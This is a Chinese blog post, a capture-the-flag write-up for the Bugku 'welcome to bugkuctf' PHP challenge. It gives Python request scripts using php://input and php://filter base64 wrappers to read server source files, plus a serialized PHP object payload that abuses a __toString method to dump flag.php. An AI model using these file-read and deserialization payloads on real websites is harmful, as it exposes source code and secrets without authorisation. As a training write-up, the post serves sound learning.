Bugku welcome to bugkuctf 引发的思考

作者: print("") 分类: 信息安全 发布时间: 2018-09-23 19:15

无意中先刷一波bugku 的题目,赶紧还挺有意思的。

当碰到 一道php 反序列化的题目。看的一脸懵逼。可以读取到文件,但是无法理解拿flag 的操作。

后面大佬提点终于明白了,也引发了一些思考

先把题目写完把。

题目地址:http://120.24.86.145:8006/test1/

泄露了源代码

传递了三个值一个是txt  file  password 

首先根据提示读取 hint.php

import requests,base64,re

url='http://120.24.86.145:8006/test1/index.php?txt=php://filter&file=hint.php&password='
data='welcome to the bugkuctf'
resion=requests.post(url,data).text
print(resion)

发现啥也没用读取到=。= 我就换成了php://input

这次的提示换了。应该是禁用了php://filter 这种方法

想到了上一题目的用法 http://120.24.86.145:8005/post/index.php

在file 里面用的http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 

这种方式 

import requests,base64,re

url='http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password='
data='welcome to the bugkuctf'
resion=requests.post(url,data).text
falg=resion[resion.index('>')+1:]
txt=base64.b64decode(falg)
print(txt)

成功读取到了hint.php 

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

再读取一下index.php 得到源码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

然后陷入一脸懵逼的状态,看了一下大佬的博客,当时实在搞不通里面的原理

都是说$password 那个方式,然后就翻看一下文档


百度了一下用法 写了一个简单的例子

看到大佬写了一个php

https://blog.csdn.net/wy_97/article/details/77771026

执行得到O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

将其作为 $passwod 传递进去

import requests,base64,re

url='http://120.24.86.145:8006/test1/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}'
data='welcome to the bugkuctf'
resion=requests.post(url,data).text
print(resion)

参考博客:https://blog.csdn.net/wy_97/article/details/77771026

参考2 https://blog.csdn.net/wy_97/article/details/77431111

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。